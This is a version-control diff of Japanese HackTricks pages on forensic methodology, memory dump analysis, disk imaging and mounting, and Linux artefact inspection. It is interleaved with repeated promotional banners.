**あなたのハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを送信してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で**最も先進的な**コミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,49 +1,78 @@
# メモリーダンプ解析
# メモリダンプ分析
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティ専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## 開始
pcap内で**マルウェア**を検索を開始します。[**マルウェア分析**](../malware-analysis.md)で言及されている**ツール**を使用します
**pcap**内で**マルウェア**を**検索**し始めます。 [**マルウェア分析**](../malware-analysis.md)で言及されている**ツール**を使用してください
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
**Volatilityはメモリーダンプ解析のための主要なオープンソースフレームワーク**です。このPythonツールは、外部ソースまたはVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを識別します。プラグインで拡張可能であり、法医学調査に非常に適しています。
**Volatilityはメモリダンプ分析のための主要なオープンソースフレームワークです**。このPythonツールは、外部ソースまたはVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを特定します。プラグインで拡張可能であり、法医学的調査に非常に柔軟です。
**[ここにチートシートがあります](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
**[こちらでチートシートを見つける](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
## ミニダンプクラッシュレポート
ダンプが小さい場合数KB、おそらく数MB、それはおそらくミニダンプクラッシュレポートであり、メモリダンプではありません。
ダンプが小さい場合数KB、場合によっては数MBれはおそらくミニダンプクラッシュレポートであり、メモリダンプではありません。
![](<../../../.gitbook/assets/image (216).png>)
Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行されているモジュールなどの基本情報をバインドできます。
Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行中のモジュールなどの基本情報をバインドできます:
![](<../../../.gitbook/assets/image (217).png>)
例外をロードして、逆コンパイルされた命令を表示することもできます。
例外をロードして、デコンパイルされた命令を見ることもできます
![](<../../../.gitbook/assets/image (219).png>)
![](<../../../.gitbook/assets/image (218) (1).png>)
とにかく、Visual Studioはダンプの深い解析を行うのに最適なツールではありません。
いずれにせよ、Visual Studioはダンプの深さの分析を行うための最良のツールではありません。
**IDA**または**Radare**を使用して、ダンプを詳細に検査します。
**IDA**または**Radare**を使用して**深く**検査するために**開く**べきです。
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術およびサイバーセキュリティ専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 基本的な法的解析手法
# 基本的なフォレンジック手法
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手します
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
## イメージの作成とマウント
@ -18,9 +21,9 @@
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
{% endcontent-ref %}
## マルウェア
## マルウェア
これは**イメージを取得した後に実行する最初のステップではありません**、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合は、これらのマルウェア解析手法を独立して使用できるため、**これらのアクションを心に留めておく**ことが良いでしょう
これは**イメージを取得した後に実行する最初のステップではありません**。しかし、ファイル、ファイルシステムイメージ、メモリイメージ、pcapなどがある場合は、このマルウェア分析技術を独立して使用できますので、これらのアクションを**念頭に置いておくことが重要です**
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
@ -28,13 +31,13 @@
## イメージの検査
デバイスの**法的イメージ**が与えられた場合、**パーティション、使用されているファイルシステム**を分析し、潜在的に**興味深いファイル**(削除されたものさえも)を**回復**することができます。次の方法で学んでください
デバイスの**フォレンジックイメージ**が提供された場合、**パーティションや使用されているファイルシステムを分析し、**潜在的に**興味深いファイル**(削除されたものも含む)を**回復する**ことができます。方法を学ぶには
{% content-ref url="partitions-file-systems-carving/" %}
[partitions-file-systems-carving](partitions-file-systems-carving/)
{% endcontent-ref %}
使用されているOSやプラットフォームに応じて、異なる興味深いアーティファクトを検索する必要があります:
使用されるOSやプラットフォームによって、異なる興味深いアーティファクトを検索する必要があります:
{% content-ref url="windows-forensics/" %}
[windows-forensics](windows-forensics/)
@ -48,16 +51,16 @@
[docker-forensics.md](docker-forensics.md)
{% endcontent-ref %}
## 特定のファイルタイプとソフトウェアの詳細な検査
## 特定のファイルタイプとソフトウェアの深い検査
非常に**疑わしいファイル**がある場合は、**ファイルタイプと作成したソフトウェアに応じて**、いくつかの**トリック**が役立つ場合があります。\
興味深いトリックを学ぶために、次のページを読んでください:
非常に**疑わしい****ファイル**がある場合、**ファイルタイプやそれを作成したソフトウェア**に応じて、いくつかの**トリック**が役立つかもしれません。\
興味深いトリックを学ぶには、次のページをお読みください:
{% content-ref url="specific-software-file-type-tricks/" %}
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
{% endcontent-ref %}
特に以下のページに言及したいと思います:
特に言及したいページがあります:
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
@ -75,9 +78,9 @@
[pcap-inspection](pcap-inspection/)
{% endcontent-ref %}
## **反法的手法**
## **アンチフォレンジック技術**
反法的手法の可能性を考慮してください:
アンチフォレンジック技術の使用の可能性を念頭に置いてください:
{% content-ref url="anti-forensic-techniques.md" %}
[anti-forensic-techniques.md](anti-forensic-techniques.md)
@ -89,14 +92,17 @@
[file-integrity-monitoring.md](file-integrity-monitoring.md)
{% endcontent-ref %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong></strong></a></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手します
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# 画像取得とマウント
# イメージ取得とマウント
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -29,15 +32,15 @@ dd if=/dev/sdb of=disk.img
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### FTKイメージャ
### FTK Imager
[**ここからFTKイメージャをダウンロードできます**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。
[**ここからFTKイメージャをダウンロードできます**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。
```bash
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
```
### EWF
[**ewf tools**](https://github.com/libyal/libewf)を使用してディスクイメージを生成できます。
ディスクイメージは[ **ewf tools**](https://github.com/libyal/libewf)を使用して生成できます。
```bash
ewfacquire /dev/sdb
#Name: evidence
@ -54,11 +57,11 @@ ewfacquire /dev/sdb
#Then use default values
#It will generate the disk image in the current directory
```
## マウント
## Mount
### いくつかのタイプ
### Several types
**Windows**では、Arsenal Image Mounterの無料版を使用して、[https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)で**フォレンジックイメージをマウント**することができます。
**Windows**では、無料版のArsenal Image Mounter ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/))を使用して**フォレンジックイメージをマウント**することができます。
### Raw
```bash
@ -86,12 +89,12 @@ mount output/ewf1 -o ro,norecovery /mnt
```
### ArsenalImageMounter
ボリュームをマウントするためのWindowsアプリケーションです。[こちら](https://arsenalrecon.com/downloads/)からダウンロードできます。
これはボリュームをマウントするためのWindowsアプリケーションです。ここからダウンロードできます [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
### エラー
* **`cannot mount /dev/loop0 read-only`** この場合、フラグ **`-o ro,norecovery`** を使用する必要があります。
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** この場合、ファイルシステムのオフセットがディスクイメージのものと異なるため、マウントに失敗しました。セクターサイズと開始セクターを見つける必要があります。
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** この場合、マウントはファイルシステムのオフセットがディスクイメージのそれと異なるために失敗しました。セクターサイズと開始セクターを見つける必要があります。
```bash
fdisk -l disk.img
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
@ -104,7 +107,7 @@ Disk identifier: 0x00495395
Device Boot Start End Sectors Size Id Type
disk.img1 2048 208895 206848 101M 1 FAT12
```
注意してください。セクターサイズは**512**で、開始位置は**2048**です。次に、次のようにイメージをマウントします:
注意してください、セクターサイズは **512** で、開始は **2048** です。次に、次のようにイメージをマウントします:
```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```
@ -112,14 +115,17 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[@carlospolopm](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -17,8 +17,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
@ -27,7 +27,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
### 基本情報
まず、**良く知られたバイナリとライブラリが入った**いくつかの**USB**を持っていることをお勧めします(ubuntuを取得して、フォルダ _/bin_, _/sbin_, _/lib,_ および _/lib64_ をコピーするだけで済みます、次にUSBをマウントし、これらのバイナリを使用するように環境変数を変更します
まず、**良く知られたバイナリとライブラリが入った**いくつかの**USB**を持っていることをお勧めします(Ubuntuを取得して、フォルダ _/bin_, _/sbin_, _/lib,_ および _/lib64_ をコピーするだけで済みます、次にUSBをマウントし、これらのバイナリを使用するように環境変数を変更します
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@ -86,7 +86,7 @@ LiMEは、`path=tcp:4444`のようなもので、**システムに保存する
#### シャットダウン
まず最初に、**システムをシャットダウンする**必要があります。これは常に選択肢ではなく、時にはシステムが会社がシャットダウンできないプロダクションサーバーであることがあります。\
システムをシャットダウンするには**2つの方法**があります:**通常のシャットダウン**と**「プラグを抜く」シャットダウン**です。最初の方法では、**プロセスが通常通り終了し**、**ファイルシステム**が**同期される**ことができますが、同時に**マルウェア**が**証拠を破壊する**可能性もあります。「プラグを抜く」アプローチは**情報の損失**を伴う可能性があります(メモリのイメージをすでに取得しているため、失われる情報はあまりありません)し、**マルウェアは何もできる機会がありません**。したがって、**マルウェアの可能性がある**と**疑う**場合は、システムで**`sync`** **コマンド**を実行し、プラグを抜いてください。
システムをシャットダウンするには**2つの方法**があります:**通常のシャットダウン**と**「プラグを抜く」シャットダウン**です。最初の方法では、**プロセスが通常通り終了し**、**ファイルシステム**が**同期される**ことを許可しますが、同時に**マルウェア**が**証拠を破壊する**可能性もあります。「プラグを抜く」アプローチは**情報の損失**を伴う可能性があります(メモリのイメージをすでに取得しているため、失われる情報はあまりありません)し、**マルウェアは何もできる機会がありません**。したがって、**マルウェアの可能性がある**と**疑う**場合は、システムで**`sync`** **コマンド**を実行し、プラグを抜いてください。
#### ディスクのイメージを取得する
@ -250,7 +250,7 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
### カーネルモジュール
Linuxカーネルモジュールは、マルウェアによってルートキットコンポーネントとして利用されることが多く、システムブート時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは以下の通りです:
Linuxカーネルモジュールは、マルウェアによってルートキットコンポーネントとしてよく利用され、システムブート時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは以下の通りです:
* **/lib/modules/$(uname -r)**: 実行中のカーネルバージョンのモジュールを保持します。
* **/etc/modprobe.d**: モジュールのロードを制御するための設定ファイルを含みます。
@ -288,7 +288,7 @@ Linuxシステムは、さまざまなログファイルを通じてユーザー
Linuxシステムのログおよび監査サブシステムは、侵入やマルウェアインシデントの際に無効化または削除される可能性があります。Linuxシステムのログは、悪意のある活動に関する最も有用な情報を含むことが一般的であるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候である可能性のあるギャップや順序が乱れたエントリを探すことが重要です。
{% endhint %}
**Linuxは各ユーザーのコマンド履歴を保持します**。これは以下に保存されます:
**Linuxは各ユーザーのコマンド履歴を保持します**。保存先は以下の通りです:
* \~/.bash\_history
* \~/.zsh\_history
@ -300,28 +300,28 @@ Linuxシステムのログおよび監査サブシステムは、侵入やマル
追加の権限を付与できるファイルを確認します:
* 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers` を確認します。
* 予期しないユーザー権限が付与されている可能性があるため、`/etc/sudoers.d/` を確認します。
* 異常なグループメンバーシップや権限を特定するために、`/etc/groups` を調査します。
* 異常なグループメンバーシップや権限を特定するために、`/etc/passwd` を調査します。
* `/etc/sudoers` を確認し、予期しないユーザー権限が付与されていないか確認します。
* `/etc/sudoers.d/` を確認し、予期しないユーザー権限が付与されていないか確認します。
* `/etc/groups` を調べて、異常なグループメンバーシップや権限を特定します。
* `/etc/passwd` を調べて、異常なグループメンバーシップや権限を特定します。
一部のアプリも独自のログを生成します:
* **SSH**: 不正なリモート接続のために _\~/.ssh/authorized\_keys_ と _\~/.ssh/known\_hosts_ を調査します。
* **Gnomeデスクトップ**: Gnomeアプリケーションを介して最近アクセスされたファイルのために _\~/.recently-used.xbel_ を確認します。
* **Firefox/Chrome**: 疑わしい活動のために _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認します。
* **VIM**: アクセスされたファイルパスや検索履歴などの使用詳細のために _\~/.viminfo_ を確認します。
* **SSH**: _\~/.ssh/authorized\_keys_ および _\~/.ssh/known\_hosts_ を調べて、不正なリモート接続を確認します。
* **Gnomeデスクトップ**: _\~/.recently-used.xbel_ を調べて、Gnomeアプリケーションを介して最近アクセスされたファイルを確認します。
* **Firefox/Chrome**: _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴やダウンロードを確認し、疑わしい活動を探します。
* **VIM**: _\~/.viminfo_ を確認し、アクセスされたファイルパスや検索履歴などの使用詳細を確認します。
* **Open Office**: 侵害されたファイルを示す可能性のある最近の文書アクセスを確認します。
* **FTP/SFTP**: 不正なファイル転送の可能性があるため、_ \~/.ftp\_history_ または _\~/.sftp\_history_ のログを確認します。
